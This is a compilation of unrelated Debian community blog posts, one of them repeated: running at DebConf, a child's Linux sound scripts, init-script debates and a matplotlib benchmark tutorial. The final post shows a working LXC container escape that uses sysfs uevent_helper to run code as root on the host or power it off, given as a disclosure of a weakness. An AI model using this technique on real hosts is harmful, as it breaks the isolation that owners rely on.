OK, I'll also blog about other DebConf activities, but I was just working on my sports software of choice and just summarized my running activities here in Banja Luka (it's 22h45 last day of Debconf). I finally broke my record of last year (where I ran 112 kilometers) by running 115 kilometers. However, that was in 12 days while I was only 10 full days in New-York. So that record is only partially broken. These 115km were run in 12h09', which leads to a pace of 9.5km/h or 6'18"/km or 10'13"/mile (hello, Dirk). Fairly slow, indeed. However, this or that may better explain..:-). The cumulated positive slope for these 115km has been around 2000 meters! Specifically, I had great fun today when No l and I decided to make a final round in the hills close to the Banj Brdo. For that 12km run, we shared a taxi to the start of the Banj Brdo road, to avoid 2km of boring run in Banja Luka streets, then made our way to nearly each and every path we could find. Of course, that should soon lead to a very well mapped area on Openstreetmap. As usual, when a DebConf ends, the area is much better maped than it was before it. Here, the city was too well mapped by local OSMers, so we had to go to the mountains..:-). On this sunny Saturday, doing what I call a real trail run, with mud, slopes, scratching vegetation, rocks.....was an incredibly great pleasure. Sharing this with No l was also great. Hopefully, running in Managua next year will be as much fun (but maybe really tricky because of the heat). See you there!

There are certain times when I m really glad that we have Linux on the house for our boys to play with. I ve already written how our 4-year-old Jacob has fun with bash and can chain together commands to draw ASCII animated steam locomotives. Today I thought it might be fun to install cw, a program that can take text on standard input and play it on the console speaker or sound card as Morse code. Just the sort of thing that I could see Jacob eventually getting a kick out of. But his PC was mute. We opened it up and discovered it didn t have a console speaker. So we traipsed downstairs, dug out an external speaker, and I figured out how to enable the on-board audio chipset in the BIOS. So now the cw command worked, but also there were a lot of other possibilities. We also brought up a microphone. While Jacob was busy with other things, I set to work getting things hooked up, volume levels adjusted, and wrote some shell scripts for him. I also printed out this reference sheet for Jacob: He is good at reading but not so good at spelling. I intentionally didn t write down what the commands do, hoping that this would provide some avenue for exploration for him. He already is generally familiar with the ones under the quiet category. I wrote a shell script called record . It simply records from the microphone and drops a timestamped WAV file in a holding directory. He can then type play to simply play back whatever he recorded most recently. Easy enough. But what he really wanted was sound for his ASCII steam locomotive. So with the help of a Google search for steam train mp3 , I wrote a script ssl (sound steam locomotive) that starts playing the sound in the background if it isn t already going, and then runs sl to show the animation. This was a big hit. I also set it up so he can type play train to hear that audio, or play song to play our favorite train song (Always a Train in My Dreams by Steve Gillette). Jacob typed that in and sat still for the entire 3 minutes listening to it. I had to hook up an Ethernet cable to his machine to do all this, and he was very interested that I was hooking his computer up to mine in some way. He thought all the stuff about cables in the walls was quite exciting. The last thing I did was install flite, a speech synthesis program. I wrote a small shell script called talk which reads a line at a time from stdin and invokes flite for each one (to give more instant feedback rather than not starting playback until after having read a large block from stdin). He had some fun hearing it say his name and other favorite words, but predictably the most fun was when he typed gibberish at it, and heard it try to pronounce or spell nonsense words. In all, he was so excited about this new world of computer sound opened up to him. I m sure there will be lots of happy experimentation and discovery going on.

OK, I'll also blog about other DebConf activities, but I was just working on my sports software of choice and just summarized my running activities here in Banja Luka (it's 22h45 last day of Debconf). I finally broke my record of last year (where I ran 112 kilometers) by running 115 kilometers. However, that was in 12 days while I was only 10 full days in New-York. So that record is only partially broken. These 115km were run in 12h09', which leads to a pace of 9.5km/h or 6'18"/km or 10'13"/mile (hello, Dirk). Fairly slow, indeed. However, this or that may better explain..:-). The cumulated positive slope for these 115km has been around 2000 meters! Specifically, I had great fun today when No l and I decided to make a final round in the hills close to the . For that 12km run, we shared a taxi to the start of the Banj Brdo road, to avoid 2km of boring run in Banja Luka streets, then made our way to nearly each and every path we could find. Of course, that should soon lead to a very well mapped area on Openstreetmap. As usual, when a DebConf ends, the area is much better maped than it was before it. Here, the city was too well mapped by local OSMers, so we had to go to the mountains..:-). On this sunny Saturday, doing what I call a real trail run, with mud, slopes, scratching vegetation, rocks.....was an incredibly great pleasure. Sharing this with No l was also great. Hopefully, running in Managua next year will be as much fun (but maybe really tricky because of the heat). See you there!

Fellow Debian Developer Petter Reinholdsen, who is also on Planet Debian, recently blogged about two things that I just have to respond to. I'd post a comment on his blog, but unfortunately his blog does not support comments (booh!). In his first blog post, titled "What is missing in the Debian desktop, or why my parents use Kubuntu", he complains about the lack of a "simple GUI based upgrade of packages". That already exists and is in Debian; if you install the default GNOME desktop, you'll get an icon in the (freedesktop.org) system tray (so it's not a gnome applet) that will tell you when there're updates available. It uses a system tray thingy, so it's not gnome-specific, and you can still use it if you use KDE instead of gnome though I should add that it's something my parents keep ignoring, even after I've told them. Oh well. The same blog post contains two more items that I don't disagree with, and is then followed with a complain about "Better browser handling of some MIME types". This is actually a bug in Firefox upstream, not Debian; ubuntu may have patched their Firefox, but feature requests to fix this issue have been posted in the Firefox Bugzilla. Meanwhile, a workaround exists. His second blog post is about the boot process. Petter is involved with the sysvinit system, and has some valid points in that some scripts in rcS.d really don't belong there. Petter wants to move many scripts, including those setting up the network, out of rcS.d. I don't think that's a very good idea. Currently, a system admin has four options: boot to a 'normal' login prompt (just boot, don't modify the kernel command line); boot to a single-user system (by adding 'single' to the kernel command line; this runs rcS and rc1 scripts); boot to a very minimally set up system (by adding 'emergency'; this just mounts the root filesystem, does some very minor setup (like doing the keyboard mapping) and allows the user to get a root shell); or just boot to a shell, period (by adding 'init=/bin/bash'). While it makes obvious sense that rcS.d shouldn't contain too much stuff (otherwise you might as well not bother with having it at all), I'm not sure that moving the mounting of 'network-based filesystems mounted by default at bootup time' away from rcS.d is a good idea. Sometimes things go horribly wrong after the networked filesystems are mounted, because some things are misconfigured on those networked file systems. We currently have two states that bring the system up to 'networked filesystems mounted, system not fully booted', and two that bring the system up to 'root filesystem mounted, you figure it out from there'. That seems well divided, and I don't think changing that is a good idea.

In the past week, I ran a lot of benchmarks using a Spirent Avalanche which is an appliance providing performance testing of network related products (a load balancer, a router, a web server, ). The reporting module does not provide a lot of flexibility and the plots are not the most beautiful ones. Fortunately, the results are also exported as CSV. matplotlib is a python plotting library which produces great figures without making things hard when they should be easy. It is a good replacement for GNU Plot and you don t need a lot of Python knowledge to use it. The documentation includes a fine user s guide that should get you started in less than 20 minutes.

Quick introduction You can use matplotlib from IPython to experiment:

$ ipython -pylab
Python 2.6.7 (r267:88850, Jul 10 2011, 08:11:54) 
Type "copyright", "credits" or "license" for more information.
  Welcome to pylab, a matplotlib-based Python environment.
  For more information, type 'help(pylab)'.
> In [1]: plot([1,1,4,5,10,11])

When you are ready, you can build a simple Python script:

#!/usr/bin/env python
from matplotlib.pylab import *
plot([1,1,4,5,10,11])
savefig("my-plot.pdf")

Grabbing results from CSV Data are contained into a file named realtime.csv. It contains the raw data as well as some general information about the benchmark (test name, description, paramaters ). We need to skip those. Fortunately, csv2rec() allows to load data from a CSV file into a record array and skip the first rows if necessary.

from matplotlib.pylab import *
import sys, os
import gzip
skip = 0
for line in gzip.open(sys.argv[1]):
    if line.startswith("Seconds Elapsed,"):
        break
    skip = skip + 1
ava = csv2rec(gzip.open(sys.argv[1]),skiprows=skip)

Now, the Elapsed seconds column can be accessed with ava['elapsed_seconds'].

General structure I need 4 plots:

• successful, unsuccesful and attempted transactions per second,
• minimum, average and maximum response time per page,
• Avalanche CPU usage,
• incoming and outgoing bandwidth.

The most important plot is the first one. The second one is less important and the last ones are here only to check we did not hit some bottleneck during the benchmark. We want to produce a page like this: matplotlib allows to plot subfigures. We create 4 subfigures sharing the same X axis (which the number of seconds elapsed since the beginning of the benchmark). We save the result to PDF.

# Create the figure (A4 format)
figure(num=None, figsize=(8.27, 11.69), dpi=100)
ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2)
# [...]
ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1)
# [...]
ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1)
# [...]
ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1)
# [...]
# Save to PDF
savefig("%s.pdf" % TITLE)

Bandwidth plot Let s start with the easiest plot: bandwidth usage.

# Plot 4: Bandwidth
ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1)
plot(ava['seconds_elapsed'], ava['incoming_traffic_kbps']/1000.,
     'b-', label='Incoming traffic')
plot(ava['seconds_elapsed'], -ava['outgoing_traffic_kbps']/1000.,
     'r-', label='Outgoing traffic')
grid(True, which="both", linestyle="dotted")
ylabel("Mbps", fontsize=7)
xticks(fontsize=7)
yticks(fontsize=7)

Here, in the suplot positioned in (3,1), we plot the number of seconds elapsed versus the incoming traffic with a blue line (b-). We also plot the seconds elapsed versus the outgoing traffic with a red line (r-). Here is the result: Most functions of matplotlib are exposed as a method of the object they refer to and as a global function. In the latest case, the function is applied to the latest created figure or plotting area. For example, plot() is called a function and therefore refer to the plotting area ax4. We could have written ax4.plot() instead.

CPU plot The average CPU utilization data available in the CSV file needs to be normalized. We assume the Avalanche to be mostly idle on start. The plotting part is pretty similar to our previous case.

# CPU
max = np.max(ava['average_cpu_utilization'])
order = 10**np.floor(np.log10(max))
max = np.ceil(max/order)*order
cpu = (max - ava['average_cpu_utilization'])*100/max
# Plot 3: CPU
ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1)
plot(ava['seconds_elapsed'],
     cpu,
     'r-', label="Avalanche CPU")
grid(True, which="both", linestyle="dotted")
ylabel("Avalanche CPU%", fontsize=7)
xticks(fontsize=7)
yticks(fontsize=7)

Response time We would like to plot response time. We have three corresponding metrics: minimum response time, average response time, maximum response time. Because those metrics start from 0 ms up to several seconds, a logarithmic scale is used:

# Plot 2: response time
ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1)
plot(ava['seconds_elapsed'], ava['minimum_response_time_per_page_msec'],
     'b-', label="Minimum response time")
plot(ava['seconds_elapsed'], ava['maximum_response_time_per_page_msec'],
     'r-', label="Maximum response time")
plot(ava['seconds_elapsed'], ava['average_response_time_per_page_msec'],
     'g-', linewidth=2, label="Average response time")
legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=8))
grid(True, which="major", linestyle="dotted")
yscale("log")
ylabel("Response time (msec)", fontsize=9)
xticks(fontsize=9)
yticks(fontsize=9)

This is also the first graphic with a legend.

Transactions per second The most important plot is the number of transactions per second.

# Plot 1: TPS
ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2)
plot(ava['seconds_elapsed'], ava['desired_load_transactionssec'],
     '-', color='0.7', label="Desired Load")
plot(ava['seconds_elapsed'], ava['successful_transactionssecond'],
     'g:', label="Successful")
plot(ava['seconds_elapsed'], smooth(ava['successful_transactionssecond']),
     'g-', linewidth=2)
plot(ava['seconds_elapsed'], ava['attempted_transactionssecond'],
     'b-', label="Attempted")
plot(ava['seconds_elapsed'], ava['aborted_transactionssecond'],
     'k-', label="Aborted")
plot(ava['seconds_elapsed'][:-1], ava['unsuccessful_transactionssecond'][:-1],
     'r-', label="Unsuccessful")
legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=10))
grid(True, which="both", linestyle="dotted")
ylabel("Transactions/s")

The number of successful transactions is plotted twice: when the benchmarked equipment becomes overloaded, we get a lot of noise in this metric and it can be difficult to read. Therefore, we plot a smoothed version with the help of NumPy:

import numpy as np
def smooth(x, win=4):
    s = np.r_[x[win-1:0:-1],x,x[-1:-win:-1]]
    w = np.ones(win, 'd')
    y = np.convolve(w/w.sum(),s,mode='valid')
    return y[(win-1)/2:-(win-1)/2]

np.r_() is just here to extend our data by the size of the window. np.ones() build a weight vector of the size of the window. If the window is 4, we get [0.25, 0.25, 0.25, 0.25]. We use this vector to apply a convolution to the original data. Here is the result: The original data is a green dotted line while the smoothed one is a green thick line. What about the three annotations? matplotlib allows to put annotations on a figure. Here is how this is done:

# Noticeable points
count = 0
def highlight(index, reason):
    global count
    if index and index > 0:
        x,y = (ava['seconds_elapsed'][index],
               smooth(ava['successful_transactionssecond'])[index])
        plot([x], [y], 'ko')
        annotate('%d TPS\n(%s)' % (y,reason), xy=(x,y),
                 xytext=(20, -(count+4.7)*22), textcoords='axes points',
                 arrowprops=dict(arrowstyle="-",
                 connectionstyle="angle,angleA=0,angleB=80,rad=10"),
                 horizontalalignment='left',
                 verticalalignment='bottom',
                 fontsize=8)
        count = count + 1
highlight(np.argmax(smooth(ava['successful_transactionssecond'])), "Max TPS")
highlight(np.argmax(cpu > 99), "CPU>99%")
highlight(np.argmax(ava['average_response_time_per_page_msec'] > 500), ">500ms")
highlight(np.argmax(ava['average_response_time_per_page_msec'] > 100), ">100ms")

np.argmax() returns the index of the first maximum value. The trick here is that when I write ava['average_response_time_per_page_msec'] > 100, I get an array with 1 when the value is more than 100 and 0 otherwise. Therefore, np.argmax() will return the first index where the value is superior to 100 ms. The highlight() function will add a point (plot([x], [y], 'ko')) on the smoothed successful transactions par second plot and add an annotation with some fancy arrow. Look at this benchmark of nginx as SSL termination for a complete output of this script.

In the Debian boot system, several packages include scripts that are started from /etc/rcS.d/. In fact, there is a bite more of them than make sense, and this causes a few problems. What kind of problems, you might ask. There are at least two problems. The first is that it is not possible to recover a machine after switching to runlevel 1. One need to actually reboot to get the machine back to the expected state. The other is that single user boot will sometimes run into problems because some of the subsystems are activated before the root login is presented, causing problems when trying to recover a machine from a problem in that subsystem. A minor additional point is that moving more scripts out of rcS.d/ and into the other rc#.d/ directories will increase the amount of scripts that can run in parallel during boot, and thus decrease the boot time. So, which scripts should start from rcS.d/. In short, only the scripts that _have_ to execute before the root login prompt is presented during a single user boot should go there. Everything else should go into the numeric runlevels. This means things like lm-sensors, fuse and x11-common should not run from rcS.d, but from the numeric runlevels. Today in Debian, there are around 115 init.d scripts that are started from rcS.d/, and most of them should be moved out. Do your package have one of them? Please help us make single user and runlevel 1 better by moving it. Scripts setting up the screen, keyboard, system partitions etc. should still be started from rcS.d/, but there is for example no need to have the network enabled before the single user login prompt is presented. As always, things are not so easy to fix as they sound. To keep Debian systems working while scripts migrate and during upgrades, the scripts need to be moved from rcS.d/ to rc2.d/ in reverse dependency order, ie the scripts that nothing in rcS.d/ depend on can be moved, and the next ones can only be moved when their dependencies have been moved first. This migration must be done sequentially while we ensure that the package system upgrade packages in the right order to keep the system state correct. This will require some coordination when it comes to network related packages, but most of the packages with scripts that should migrate do not have anything in rcS.d/ depending on them. Some packages have already been updated, like the sudo package, while others are still left to do. I wish I had time to work on this myself, but real live constrains make it unlikely that I will find time to push this forward.

For the past few years, the Linux Containers project has been developing some kernel technologies which provide isolation, accounting and management for kernel resources. When completed, together they will allow implementing lightweight virtualization of the operating system like is currently possible with OpenVZ. It is very important to understand that not all the pieces are ready yet, so currently a LXC container does not provide the same security of other virtualization technologies. This example shows how the root user of a container can easily run code as root in the host system, since sysfs does not support namespaces:

lxc$ cat <<END > /tmp/evil-helper
#!/bin/sh
echo 'hi!' >> /tmp/evil-helper.log
END
lxc$ chmod +x /tmp/evil-helper
lxc# mkdir /sys
lxc# mount -t sysfs sysfs /sys
lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper
lxc# echo change > /sys/class/mem/null/uevent

The last command will trigger a uevent, which will be processed by running in the host our script created inside the container. Or else:

inside# echo /sbin/poweroff > /sys/kernel/uevent_helper

Because of this, LXC containers are vulnerable to a malicious root user and are not really a replacement for OpenVZ. This will change when support for labelling files with user namespaces will be completed.